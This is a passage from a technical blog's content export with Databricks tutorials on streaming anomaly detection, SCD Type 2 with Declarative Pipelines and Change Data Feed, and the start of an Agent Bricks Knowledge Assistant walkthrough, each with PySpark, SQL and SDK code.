\u0026#34;\u0026#34;\u0026#34;) Use foreachBatch to run the merge:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from delta.tables import DeltaTable from pyspark.sql import functions as F def upsert_alerts(batch_df, batch_id): if batch_df.isEmpty(): return batch_with_ts = batch_df.withColumn( \u0026#34;detected_at\u0026#34;, F.current_timestamp() ) target = DeltaTable.forName(spark, \u0026#34;iot_demo.streaming.anomaly_alerts\u0026#34;) (target.alias(\u0026#34;t\u0026#34;) .merge(batch_with_ts.alias(\u0026#34;s\u0026#34;), \u0026#34;t.alert_id = s.alert_id\u0026#34;) .whenNotMatchedInsertAll() .execute()) alerts_query = ( alerts_stream .writeStream .foreachBatch(upsert_alerts) .option(\u0026#34;checkpointLocation\u0026#34;, \u0026#34;/Volumes/iot_demo/streaming/sensor_landing/_checkpoint/alerts\u0026#34;) .outputMode(\u0026#34;update\u0026#34;) .trigger(processingTime=\u0026#34;30 seconds\u0026#34;) .start() ) Enable Change Data Feed on the alerts table. Downstream consumers (dashboards, notification pipelines) can use CDF to read only new/changed alerts instead of scanning the full table every time. This is how you chain streaming pipelines efficiently. Step 5: Monitor the Pipeline # A streaming pipeline that nobody watches is a streaming pipeline that silently fails. Databricks system tables give you observability without bolting on external monitoring.\nQuery Progress Metrics # 1 2 3 4 5 6 7 8 9 10 11 12 -- Pipeline health: processing rate, batch duration, state size SELECT stream_name, timestamp, num_input_rows, input_rows_per_second, processed_rows_per_second, batch_duration_ms FROM system.runtime.streaming_query_progress WHERE stream_name LIKE \u0026#39;%anomaly%\u0026#39; ORDER BY timestamp DESC LIMIT 20 State Store Metrics # State store growth is the silent killer of streaming pipelines. If your state grows linearly, eventually checkpoint recovery takes longer than the batch interval and the pipeline falls behind permanently.\n1 2 3 4 5 6 7 8 9 10 -- State store size over time SELECT timestamp, state_operators[0].num_rows_total AS state_rows, state_operators[0].memory_used_bytes / 1024 / 1024 AS state_mb FROM system.runtime.streaming_query_progress WHERE stream_name LIKE \u0026#39;%anomaly%\u0026#39; AND state_operators IS NOT NULL ORDER BY timestamp DESC LIMIT 50 Watch for these signals:\nstate_rows growing without bound: your timeout or eviction is broken batch_duration_ms steadily increasing: state is too large for the configured compute input_rows_per_second \u0026raquo; processed_rows_per_second: backpressure, you\u0026rsquo;re falling behind Alerting on Pipeline Lag # 1 2 3 4 5 6 7 8 9 10 11 12 13 # Quick check: is the pipeline keeping up? from pyspark.sql import functions as F lag_check = ( spark.sql(\u0026#34;\u0026#34;\u0026#34; SELECT max(timestamp) AS last_progress, current_timestamp() - max(timestamp) AS lag FROM system.runtime.streaming_query_progress WHERE stream_name LIKE \u0026#39;%anomaly%\u0026#39; \u0026#34;\u0026#34;\u0026#34;) ) lag_check.show() If lag exceeds your trigger interval by more than 2x, investigate. Common causes: state store bloat, insufficient compute, upstream data skew (one device flooding the stream).\nGotchas and Lessons Learned # State store sizing. Each device+metric pair stores a rolling window of 100 floats. With 20 devices and 3 metrics, that\u0026rsquo;s 60 state entries \u0026ndash; trivial. With 100,000 devices, you\u0026rsquo;re looking at 300,000 state entries and checkpoint recovery becomes a factor. Test with realistic cardinality before going to production.\nCheckpoint recovery after schema evolution. If you change the state schema (say, adding a field to DeviceState), existing checkpoints won\u0026rsquo;t deserialize correctly. You have two options: (1) start fresh with a new checkpoint location, losing in-flight state, or (2) implement versioned serialization in your state class. Option 2 is more work but avoids the cold-start problem.\nLate-arriving data. The watermark says \u0026ldquo;I\u0026rsquo;ll wait 5 minutes for stragglers.\u0026rdquo; Data arriving after the watermark is silently dropped. If your IoT devices have unreliable connectivity, increase the watermark \u0026ndash; but understand the trade-off: higher watermark = more state = slower checkpoints. There\u0026rsquo;s no free lunch.\nThe z-score cold start. With fewer than 10 readings, the standard deviation is unreliable. The code above skips anomaly flagging until count \u0026gt;= 10. Depending on your ingest rate, this means the first few minutes after pipeline start produce no alerts. That\u0026rsquo;s intentional, not a bug.\nProcessing-time vs. event-time timeouts. We use ProcessingTimeTimeout because it\u0026rsquo;s simpler. But if your pipeline has variable micro-batch intervals (some batches take 5s, others 60s), event-time timeouts give more predictable device eviction. The trade-off is complexity in managing watermark alignment.\nPutting It All Together # Here\u0026rsquo;s the complete pipeline in one notebook-ready block, minus the data generation:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 # Full pipeline - copy into a Databricks notebook from pyspark.sql import functions as F from pyspark.sql.types import * from pyspark.sql.streaming import GroupState, GroupStateTimeout from delta.tables import DeltaTable from dataclasses import dataclass from typing import List import json # --- Config --- CATALOG = \u0026#34;iot_demo\u0026#34; SCHEMA = \u0026#34;streaming\u0026#34; VOLUME_PATH = f\u0026#34;/Volumes/{CATALOG}/{SCHEMA}/sensor_landing\u0026#34; CHECKPOINT_PATH = f\u0026#34;{VOLUME_PATH}/_checkpoint/alerts\u0026#34; WINDOW_SIZE = 100 Z_THRESHOLD = 3.5 # --- State class --- @dataclass class DeviceState: readings: List[float] count: int sum_val: float sum_sq: float def add(self, value, window_size=100): self.readings.append(value) self.count += 1 self.sum_val += value self.sum_sq += value * value while len(self.readings) \u0026gt; window_size: old = self.readings.pop(0) self.count -= 1 self.sum_val -= old self.sum_sq -= old * old return self @property def mean(self): return self.sum_val / self.count if self.count \u0026gt; 0 else 0.0 @property def std(self): if self.count \u0026lt; 2: return 0.0 variance = (self.sum_sq / self.count) - (self.mean ** 2) return max(variance, 0.0) ** 0.5 def z_score(self, value): return (value - self.mean) / self.std if self.std \u0026gt; 0 else 0.0 # --- State function --- def detect_anomalies(key, readings, state: GroupState): device_id, metric = key ds = DeviceState(**json.loads(state.get)) if state.exists else \\ DeviceState([], 0, 0.0, 0.0) alerts = [] for row in readings: z = ds.z_score(row.value) ds.add(row.value, WINDOW_SIZE) if ds.count \u0026gt;= 10 and abs(z) \u0026gt; Z_THRESHOLD: alerts.append(( device_id, metric, row.value, round(z, 3), ds.mean, ds.std, row.event_time, f\u0026#34;{device_id}_{metric}_{row.event_time}\u0026#34;, )) state.update(json.dumps(ds.__dict__)) state.setTimeoutDuration(\u0026#34;30 minutes\u0026#34;) return iter(alerts) # --- Schemas --- sensor_schema = StructType([ StructField(\u0026#34;device_id\u0026#34;, StringType()), StructField(\u0026#34;metric\u0026#34;, StringType()), StructField(\u0026#34;value\u0026#34;, DoubleType()), StructField(\u0026#34;event_time\u0026#34;, StringType()), ]) alert_schema = StructType([ StructField(\u0026#34;device_id\u0026#34;, StringType()), StructField(\u0026#34;metric\u0026#34;, StringType()), StructField(\u0026#34;value\u0026#34;, DoubleType()), StructField(\u0026#34;z_score\u0026#34;, FloatType()), StructField(\u0026#34;rolling_mean\u0026#34;, DoubleType()), StructField(\u0026#34;rolling_std\u0026#34;, DoubleType()), StructField(\u0026#34;event_time\u0026#34;, TimestampType()), StructField(\u0026#34;alert_id\u0026#34;, StringType()), ]) # --- Stream --- raw = ( spark.readStream.format(\u0026#34;cloudFiles\u0026#34;) .option(\u0026#34;cloudFiles.format\u0026#34;, \u0026#34;json\u0026#34;) .option(\u0026#34;cloudFiles.schemaLocation\u0026#34;, f\u0026#34;{VOLUME_PATH}/_schema\u0026#34;) .schema(sensor_schema) .load(VOLUME_PATH) .withColumn(\u0026#34;event_time\u0026#34;, F.to_timestamp(\u0026#34;event_time\u0026#34;)) .withWatermark(\u0026#34;event_time\u0026#34;, \u0026#34;5 minutes\u0026#34;) ) alerts = ( raw.groupBy(\u0026#34;device_id\u0026#34;, \u0026#34;metric\u0026#34;) .mapGroupsWithState( detect_anomalies, outputStructType=alert_schema, stateStructType=StringType(), timeoutConf=GroupStateTimeout.ProcessingTimeTimeout, ) ) # --- Sink with MERGE --- def upsert(batch_df, batch_id): if batch_df.isEmpty(): return batch = batch_df.withColumn(\u0026#34;detected_at\u0026#34;, F.current_timestamp()) target = DeltaTable.forName(spark, f\u0026#34;{CATALOG}.{SCHEMA}.anomaly_alerts\u0026#34;) (target.alias(\u0026#34;t\u0026#34;) .merge(batch.alias(\u0026#34;s\u0026#34;), \u0026#34;t.alert_id = s.alert_id\u0026#34;) .whenNotMatchedInsertAll() .execute()) query = ( alerts.writeStream .foreachBatch(upsert) .option(\u0026#34;checkpointLocation\u0026#34;, CHECKPOINT_PATH) .outputMode(\u0026#34;update\u0026#34;) .trigger(processingTime=\u0026#34;30 seconds\u0026#34;) .start() ) Conclusion # A streaming anomaly detection pipeline on Databricks doesn\u0026rsquo;t need external ML services, complex model training, or a Lambda architecture with separate batch and speed layers. Structured Streaming with mapGroupsWithState gives you everything: per-device statefulness, automatic scaling, exactly-once guarantees with Delta, and observability through system tables.\nThe rolling z-score approach works because most industrial sensors follow roughly normal distributions during normal operation. When they don\u0026rsquo;t, the z-score catches it fast. For more complex patterns (seasonal variation, multivariate correlation), you\u0026rsquo;d extend the state class \u0026ndash; but the streaming skeleton stays the same.\nStart with synthetic data, validate your thresholds, then swap the source for your real Kafka topic or cloud storage landing zone. The pipeline doesn\u0026rsquo;t change. That\u0026rsquo;s the point.\n","date":"20 April 2026","externalUrl":null,"permalink":"/posts/databricks-streaming-anomaly-detection/","section":"Posts","summary":"","title":"Real-Time Anomaly Detection with Structured Streaming and Delta Lake","type":"posts"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/row-filters/","section":"Tags","summary":"","title":"Row-Filters","type":"tags"},{"content":"Every data warehouse eventually hits the same wall: someone updates a customer record, and the old value vanishes. The analyst running a report on last quarter\u0026rsquo;s regional breakdown gets this quarter\u0026rsquo;s data instead. The audit team asks \u0026ldquo;what was this customer\u0026rsquo;s tier on March 15th?\u0026rdquo; and nobody can answer.\nSCD Type 2 solves this by keeping every version of a record with validity timestamps. The problem isn\u0026rsquo;t understanding the concept. The problem is implementing it without drowning in merge logic, deduplication edge cases, and late-arriving deletes.\nDatabricks Declarative Pipelines (what used to be called Delta Live Tables) has a feature called APPLY CHANGES that handles all of this. You declare what the keys are, what column to sequence by, and which columns to track. The framework generates the merge logic, handles out-of-order events, and maintains the __START_AT / __END_AT timestamps for you.\nWhat SCD Type 2 Actually Looks Like # A standard dimension table stores the current state:\ncustomer_id email tier region C001 alice@acme.com gold US-WEST An SCD Type 2 table stores every state:\ncustomer_id email tier region __START_AT __END_AT C001 alice@acme.com silver US-EAST 2025-01-15 2025-06-01 C001 alice@acme.com gold US-WEST 2025-06-01 NULL The row with __END_AT = NULL is the current version. Historical queries filter by date range. Simple in theory. In practice, you need to handle:\nOut-of-order arrivals: An update with updated_at = 2025-05-15 arrives after one with updated_at = 2025-06-01 Duplicate events: The same update is delivered twice by the CDC source Deletes: The source system removes a record, and you need to close out the SCD chain Late-arriving deletes: A delete event arrives after newer updates have been processed Writing this by hand means a multi-way MERGE statement with careful timestamp arithmetic. Every team that does this builds slightly different logic, and the edge cases bite at 3am.\nArchitecture # flowchart LR subgraph Source[\"CDC Source\"] S[\"Cloud Storage(JSON/Parquet CDC events)\"] end subgraph Pipeline[\"Declarative Pipeline\"] R[\"customers_raw(streaming table)\"] SCD[\"customers_scd2(APPLY CHANGES)\"] end subgraph Downstream[\"Consumers\"] CDF[\"Change Data Feed\"] D[\"Dashboard / Analytics\"] end S --\u003e R --\u003e SCD SCD --\u003e CDF --\u003e D style S fill:#3498db,color:white style R fill:#e67e22,color:white style SCD fill:#2ecc71,color:white style CDF fill:#9b59b6,color:white style D fill:#f39c12,color:white Step 1: Set Up the Landing Zone # Create a catalog, schema, and volume for the CDC data:\n1 2 3 CREATE CATALOG IF NOT EXISTS retail_demo; CREATE SCHEMA IF NOT EXISTS retail_demo.customers; CREATE VOLUME IF NOT EXISTS retail_demo.customers.cdc_landing; Generate synthetic CDC events. In production, these come from Debezium, Fivetran, or a similar tool:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import json import random from datetime import datetime, timedelta, timezone CUSTOMERS = [f\u0026#34;C{i:03d}\u0026#34; for i in range(1, 51)] TIERS = [\u0026#34;bronze\u0026#34;, \u0026#34;silver\u0026#34;, \u0026#34;gold\u0026#34;, \u0026#34;platinum\u0026#34;] REGIONS = [\u0026#34;US-WEST\u0026#34;, \u0026#34;US-EAST\u0026#34;, \u0026#34;EU-WEST\u0026#34;, \u0026#34;EU-EAST\u0026#34;, \u0026#34;APAC\u0026#34;] OPERATIONS = [\u0026#34;INSERT\u0026#34;, \u0026#34;UPDATE\u0026#34;, \u0026#34;UPDATE\u0026#34;, \u0026#34;UPDATE\u0026#34;, \u0026#34;DELETE\u0026#34;] def generate_cdc_events(n_events=200): events = [] base_time = datetime(2025, 1, 1, tzinfo=timezone.utc) for i in range(n_events): customer_id = random.choice(CUSTOMERS) op = random.choice(OPERATIONS) ts = base_time + timedelta(hours=random.randint(0, 8760)) event = { \u0026#34;customer_id\u0026#34;: customer_id, \u0026#34;operation\u0026#34;: op, \u0026#34;updated_at\u0026#34;: ts.isoformat(), } if op != \u0026#34;DELETE\u0026#34;: event.update({ \u0026#34;email\u0026#34;: f\u0026#34;{customer_id.lower()}@example.com\u0026#34;, \u0026#34;full_name\u0026#34;: f\u0026#34;Customer {customer_id}\u0026#34;, \u0026#34;tier\u0026#34;: random.choice(TIERS), \u0026#34;region\u0026#34;: random.choice(REGIONS), \u0026#34;lifetime_value\u0026#34;: round(random.uniform(100, 50000), 2), }) events.append(event) return events # Write events as newline-delimited JSON volume_path = \u0026#34;/Volumes/retail_demo/customers/cdc_landing\u0026#34; events = generate_cdc_events(200) # Split into 4 batches to simulate incremental arrival batch_size = 50 for i in range(0, len(events), batch_size): batch = events[i:i + batch_size] file_path = f\u0026#34;{volume_path}/cdc_batch_{i // batch_size:04d}.json\u0026#34; with open(file_path, \u0026#34;w\u0026#34;) as f: for e in batch: f.write(json.dumps(e) + \u0026#34;\\n\u0026#34;) print(f\u0026#34;Wrote {len(events)} CDC events in 4 batches\u0026#34;) Step 2: Build the Declarative Pipeline # Create a new Declarative Pipeline (DLT) notebook. The pipeline has two tables: a raw ingestion table and the SCD2 target.\nRaw Ingestion # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import dlt from pyspark.sql import functions as F @dlt.table( comment=\u0026#34;Raw CDC events from customer source system\u0026#34; ) def customers_raw(): return ( spark.readStream .format(\u0026#34;cloudFiles\u0026#34;) .option(\u0026#34;cloudFiles.format\u0026#34;, \u0026#34;json\u0026#34;) .option(\u0026#34;cloudFiles.inferColumnTypes\u0026#34;, \u0026#34;true\u0026#34;) .load(\u0026#34;/Volumes/retail_demo/customers/cdc_landing/\u0026#34;) .withColumn(\u0026#34;_ingested_at\u0026#34;, F.current_timestamp()) ) SCD Type 2 with APPLY CHANGES # This is where the magic happens. Instead of writing merge logic, you declare the transformation:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 dlt.create_streaming_table( name=\u0026#34;customers_scd2\u0026#34;, comment=\u0026#34;SCD Type 2 customer dimension with full history\u0026#34; ) dlt.apply_changes( target=\u0026#34;customers_scd2\u0026#34;, source=\u0026#34;customers_raw\u0026#34;, keys=[\u0026#34;customer_id\u0026#34;], sequence_by=\u0026#34;updated_at\u0026#34;, apply_as_deletes=F.expr(\u0026#34;operation = \u0026#39;DELETE\u0026#39;\u0026#34;), apply_as_truncates=None, column_list=[ \u0026#34;customer_id\u0026#34;, \u0026#34;email\u0026#34;, \u0026#34;full_name\u0026#34;, \u0026#34;tier\u0026#34;, \u0026#34;region\u0026#34;, \u0026#34;lifetime_value\u0026#34;, ], track_history_column_list=[ \u0026#34;email\u0026#34;, \u0026#34;tier\u0026#34;, \u0026#34;region\u0026#34;, \u0026#34;lifetime_value\u0026#34; ], stored_as_scd_type=2, ) What APPLY CHANGES does under the hood:\nSequences by updated_at \u0026ndash; so out-of-order events get inserted at the correct position in the history chain Tracks changes on specified columns \u0026ndash; only creates a new SCD2 row when email, tier, region, or lifetime_value actually changes Handles deletes \u0026ndash; when operation = 'DELETE', it closes the current SCD2 row by setting __END_AT Deduplicates \u0026ndash; if the same event arrives twice with the same updated_at, it\u0026rsquo;s idempotent Step 3: Deploy and Run # Configure the pipeline in the Databricks UI or via the API:\n1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;name\u0026#34;: \u0026#34;customer_scd2_pipeline\u0026#34;, \u0026#34;catalog\u0026#34;: \u0026#34;retail_demo\u0026#34;, \u0026#34;schema\u0026#34;: \u0026#34;customers\u0026#34;, \u0026#34;libraries\u0026#34;: [ {\u0026#34;notebook\u0026#34;: {\u0026#34;path\u0026#34;: \u0026#34;/Workspace/Users/you/customer_scd2_notebook\u0026#34;}} ], \u0026#34;continuous\u0026#34;: false, \u0026#34;development\u0026#34;: true, \u0026#34;channel\u0026#34;: \u0026#34;CURRENT\u0026#34; } Note: The target field is legacy (from DLT). In Declarative Pipelines, use catalog and schema separately to specify the output location. Run the pipeline. On first execution, it processes all existing files. Subsequent runs pick up only new files.\nStep 4: Query the SCD2 Table # Current State (Latest Version) # 1 2 3 4 5 -- Current customers: __END_AT is NULL SELECT customer_id, email, tier, region, lifetime_value, __START_AT FROM retail_demo.customers.customers_scd2 WHERE __END_AT IS NULL ORDER BY customer_id Point-in-Time Query # 1 2 3 4 5 6 7 -- What was the customer state on June 15, 2025? SELECT customer_id, email, tier, region, lifetime_value, __START_AT, __END_AT FROM retail_demo.customers.customers_scd2 WHERE __START_AT \u0026lt;= \u0026#39;2025-06-15\u0026#39; AND (__END_AT \u0026gt; \u0026#39;2025-06-15\u0026#39; OR __END_AT IS NULL) ORDER BY customer_id Who Changed Tier Recently? # 1 2 3 4 5 6 7 8 9 10 11 -- Tier changes in the last 30 days SELECT customer_id, tier AS current_tier, __START_AT AS changed_at, LAG(tier) OVER ( PARTITION BY customer_id ORDER BY __START_AT ) AS previous_tier FROM retail_demo.customers.customers_scd2 WHERE __START_AT \u0026gt;= current_date() - 30 ORDER BY __START_AT DESC Step 5: Enable Change Data Feed for Downstream # Change Data Feed (CDF) lets downstream consumers read only the rows that changed, instead of rescanning the full table:\n1 2 3 -- CDF is already enabled by Declarative Pipelines on SCD2 tables -- Verify: DESCRIBE TABLE EXTENDED retail_demo.customers.customers_scd2 Read the changes incrementally:\n1 2 3 4 5 6 7 8 9 10 11 12 # Read CDF as a stream for downstream processing cdf_stream = ( spark.readStream .format(\u0026#34;delta\u0026#34;) .option(\u0026#34;readChangeFeed\u0026#34;, \u0026#34;true\u0026#34;) .option(\u0026#34;startingVersion\u0026#34;, 0) .table(\u0026#34;retail_demo.customers.customers_scd2\u0026#34;) ) # Each row includes _change_type: insert, update_preimage, # update_postimage, delete display(cdf_stream) 1 2 3 4 -- Batch CDF read: what changed between versions 2 and 5? SELECT customer_id, tier, region, _change_type, _commit_version FROM table_changes(\u0026#39;retail_demo.customers.customers_scd2\u0026#39;, 2, 5) ORDER BY _commit_version, customer_id CDF + SCD2 = powerful combo. The SCD2 table gives you full history for analytical queries. CDF gives downstream pipelines an efficient way to consume only the deltas. Together, they replace the pattern of \u0026ldquo;dump the whole dimension table nightly and let the consumer figure out what changed.\u0026rdquo; Testing the Edge Cases # The point of using APPLY CHANGES is that it handles the hard cases. Here\u0026rsquo;s how to verify:\nOut-of-Order Events # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Write an event with an old timestamp after newer ones exist late_event = [{ \u0026#34;customer_id\u0026#34;: \u0026#34;C001\u0026#34;, \u0026#34;operation\u0026#34;: \u0026#34;UPDATE\u0026#34;, \u0026#34;updated_at\u0026#34;: \u0026#34;2025-03-15T00:00:00+00:00\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;c001@example.com\u0026#34;, \u0026#34;full_name\u0026#34;: \u0026#34;Customer C001\u0026#34;, \u0026#34;tier\u0026#34;: \u0026#34;silver\u0026#34;, \u0026#34;region\u0026#34;: \u0026#34;EU-WEST\u0026#34;, \u0026#34;lifetime_value\u0026#34;: 5000.00, }] # Write to landing zone and trigger pipeline import json with open(f\u0026#34;{volume_path}/late_event.json\u0026#34;, \u0026#34;w\u0026#34;) as f: for e in late_event: f.write(json.dumps(e) + \u0026#34;\\n\u0026#34;) After the pipeline runs, check that the SCD2 chain for C001 correctly inserts the silver/EU-WEST row at its proper chronological position, splitting existing ranges if needed.\nDuplicate Events # Write the same event twice with identical updated_at. The pipeline should produce the same result as processing it once. Run the pipeline, check row counts \u0026ndash; no duplicates.\nLate Delete # 1 2 3 4 5 6 # Delete event arrives with a timestamp between two existing updates delete_event = [{ \u0026#34;customer_id\u0026#34;: \u0026#34;C001\u0026#34;, \u0026#34;operation\u0026#34;: \u0026#34;DELETE\u0026#34;, \u0026#34;updated_at\u0026#34;: \u0026#34;2025-04-01T00:00:00+00:00\u0026#34;, }] The pipeline should close the SCD2 row that was active at 2025-04-01 without affecting rows with later __START_AT values.\nGotchas # __START_AT / __END_AT semantics. These are generated and managed by the framework. Don\u0026rsquo;t try to set them manually. __START_AT is inclusive, __END_AT is exclusive. A row with __END_AT = NULL is the current version.\nPipeline retry behavior. If a pipeline run fails mid-batch, the next run replays from the last checkpoint. Because APPLY CHANGES uses sequence-based deduplication, replayed events don\u0026rsquo;t create duplicate SCD2 rows. But this means your CDC source must be replayable (which cloud storage naturally is, Kafka with retention also works).\nColumn list matters. If you omit a column from track_history_column_list, changes to that column won\u0026rsquo;t trigger a new SCD2 row. This is a feature, not a bug \u0026ndash; you probably don\u0026rsquo;t want a new row every time last_login_at updates. Be intentional about what you track.\nLate-arriving deletes. When a delete event arrives with a timestamp that falls between existing SCD2 rows, the framework handles it correctly by adjusting the chain. But if deletes arrive very late (weeks after the fact), you should verify the resulting history makes business sense. The framework is mechanically correct, but \u0026ldquo;customer was deleted on March 1st\u0026rdquo; arriving in April might need manual review.\nHandling schema evolution. If the source adds a new column, you need to update the column_list and potentially track_history_column_list in the pipeline definition, then do a full refresh. There\u0026rsquo;s no automatic column discovery for APPLY CHANGES.\nConclusion # Hand-coding SCD Type 2 is one of those problems where the basic case is straightforward and the edge cases are brutal. Out-of-order events, duplicate deliveries, late deletes, idempotent replay \u0026ndash; each one adds another conditional branch to your merge statement, and the interaction between them creates bugs that only surface in production at the worst possible time.\nAPPLY CHANGES in Declarative Pipelines compresses all of that into a declaration: here are my keys, here\u0026rsquo;s my sequence column, here\u0026rsquo;s what to track. The framework generates the merge logic, handles the edge cases, and produces a clean SCD2 table with __START_AT / __END_AT timestamps that just work.\nPair it with Change Data Feed, and downstream consumers get efficient incremental reads instead of full table scans. That\u0026rsquo;s a complete CDC-to-SCD2-to-downstream pipeline with maybe 50 lines of actual code. The rest is configuration.\n","date":"20 April 2026","externalUrl":null,"permalink":"/posts/databricks-scd2-declarative-pipelines/","section":"Posts","summary":"","title":"SCD Type 2 Done Right: Declarative Pipelines and Change Data Feed","type":"posts"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/scd-type-2/","section":"Tags","summary":"","title":"Scd-Type-2","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/","section":"Sculpture","summary":"","title":"Sculpture","type":"page"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/categories/security/","section":"Categories","summary":"","title":"Security","type":"categories"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/categories/streaming/","section":"Categories","summary":"","title":"Streaming","type":"categories"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/structured-streaming/","section":"Tags","summary":"","title":"Structured-Streaming","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/unity-catalog/","section":"Tags","summary":"","title":"Unity-Catalog","type":"tags"},{"content":"","date":"18 April 2026","externalUrl":null,"permalink":"/tags/access-control/","section":"Tags","summary":"","title":"Access-Control","type":"tags"},{"content":"Everyone is building AI agents. Few are building agents that survive contact with enterprise reality — where data is governed, access is audited, and \u0026ldquo;it works on my laptop\u0026rdquo; doesn\u0026rsquo;t cut it.\nAgent Bricks is Databricks\u0026rsquo; answer to this gap. Instead of hand-wiring LLMs, retrieval pipelines, prompt templates, and evaluation harnesses, you describe what you want the agent to do, point it at your governed data, and the platform handles optimization, evaluation, and deployment.\nIn this article, we\u0026rsquo;ll go beyond the pitch deck: build a Knowledge Assistant, wire up a Supervisor Agent, deploy a custom agent, and understand the research (TAO, ALHF) that makes the auto-optimization pipeline work. With real code you can run today.\nWhy Agent Bricks Exists # Building a production AI agent on most platforms looks something like this:\n1 2 3 4 5 6 7 8 9 10 11 [Task Description] | Manual prompt engineering (days) | Manual evaluation suite (days) | Manual retrieval tuning (days) | Manual deployment pipeline (days) | [Production Agent] (maybe) That\u0026rsquo;s weeks of engineering before you know if the thing even works well enough to ship. And every time your data changes, you repeat parts of the cycle.\nAgent Bricks collapses this into a four-step automated pipeline:\n1 2 3 4 5 6 7 8 9 [Task Description + Data Sources] | Auto-generated evaluation benchmarks | TAO optimization sweep (prompts, models, retrieval, chunking) | Cost-quality curve → pick your tradeoff | [Production Agent] (hours, not weeks) The key insight: most of the engineering effort in agent development isn\u0026rsquo;t creative — it\u0026rsquo;s operational. Agent Bricks automates the operational parts while keeping you in control of the creative decisions.\nPrerequisites # Before you start, make sure you have:\nA Databricks workspace with Unity Catalog enabled Serverless compute available in your workspace Access to Mosaic AI Model Serving The databricks-sdk Python package installed (pip install databricks-sdk) At least one data source ready (files in a UC Volume or a Vector Search Index) The databricks-gte-large-en embedding model available (required for Knowledge Assistants) Agent Bricks components are now Generally Available across AWS and Azure regions. Check the Databricks documentation for the latest region availability. The Agent Bricks Lineup # Agent Bricks isn\u0026rsquo;t a single tool — it\u0026rsquo;s a family of agent templates, each targeting a common enterprise pattern:\nAgent Type What It Does Status Knowledge Assistant RAG-based Q\u0026amp;A over your governed data GA Document Intelligence Structured extraction from unstructured docs GA Supervisor Agent Orchestrates up to 20 sub-agents GA Custom Agents Deploy any framework (LangChain, CrewAI, etc.) through governed infra GA The first three get the full auto-optimization treatment (TAO sweeps, synthetic benchmarks, LLM judges). Custom Agents trade that for complete architectural freedom — you bring your own framework, Databricks provides governance and deployment.\nLet\u0026rsquo;s build each one.\nBuilding a Knowledge Assistant # The Knowledge Assistant is the most common starting point. It\u0026rsquo;s a RAG-based agent that answers questions grounded in your enterprise data — but with a twist: Databricks\u0026rsquo; \u0026ldquo;Instructed Retriever\u0026rdquo; approach claims 70% higher answer quality than naive RAG implementations.\nStep 1: Create the Assistant # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from databricks.sdk import WorkspaceClient from databricks.sdk.service.agents import KnowledgeAssistant w = WorkspaceClient() assistant = KnowledgeAssistant( display_name=\u0026#34;platform-docs-qa\u0026#34;, description=\u0026#34;Answers questions about our internal platform documentation\u0026#34;, instructions=( \u0026#34;You are a helpful assistant for the platform engineering team. \u0026#34; \u0026#34;Answer questions based on the provided documentation. \u0026#34; \u0026#34;Always cite the source document. \u0026#34; \u0026#34;If you\u0026#39;re not sure, say so — don\u0026#39;t make things up.\u0026#34; ), ) created = w.knowledge_assistants.create( knowledge_assistant=assistant ) print(f\u0026#34;Assistant ID: {created.name}\u0026#34;) Step 2: Connect Knowledge Sources # Knowledge Assistants support two types of data sources — UC Files and Vector Search Indexes. Let\u0026rsquo;s add both.\nAdding files from a Unity Catalog Volume:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from databricks.sdk.service.agents import KnowledgeSource, FilesSpec files_source = KnowledgeSource( display_name=\u0026#34;platform-runbooks\u0026#34;, description=\u0026#34;Operational runbooks and architecture decision records\u0026#34;, source_type=\u0026#34;files\u0026#34;, files=FilesSpec( path=\u0026#34;/Volumes/engineering/docs/runbooks\u0026#34; ), ) w.knowledge_assistants.create_knowledge_source( parent=f\u0026#34;knowledge-assistants/{created.name}\u0026#34;, knowledge_source=files_source, ) Supported file types: txt, pdf, md, pptx, docx — up to 50 MB per file.\nAdding a Vector Search Index:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from databricks.sdk.service.agents import KnowledgeSource, IndexSpec index_source = KnowledgeSource( display_name=\u0026#34;jira-tickets\u0026#34;, description=\u0026#34;Historical Jira tickets for incident context\u0026#34;, source_type=\u0026#34;index\u0026#34;, index=IndexSpec( index_name=\u0026#34;engineering.support.ticket_index\u0026#34;, text_col=\u0026#34;description\u0026#34;, doc_uri_col=\u0026#34;ticket_url\u0026#34;, ), ) w.knowledge_assistants.create_knowledge_source( parent=f\u0026#34;knowledge-assistants/{created.name}\u0026#34;, knowledge_source=index_source, ) Vector Search Indexes must use the databricks-gte-large-en embedding model. If your index uses a different embedding, you\u0026rsquo;ll need to rebuild it. Step 3: Let TAO Do Its Thing # Once your knowledge sources are connected, Agent Bricks kicks off the optimization pipeline automatically:\nSynthetic benchmark generation — creates evaluation questions from your actual data TAO sweep — searches across prompt strategies, chunking configurations, and retrieval parameters Cost-quality curve — presents you with optimized configurations at different price points You 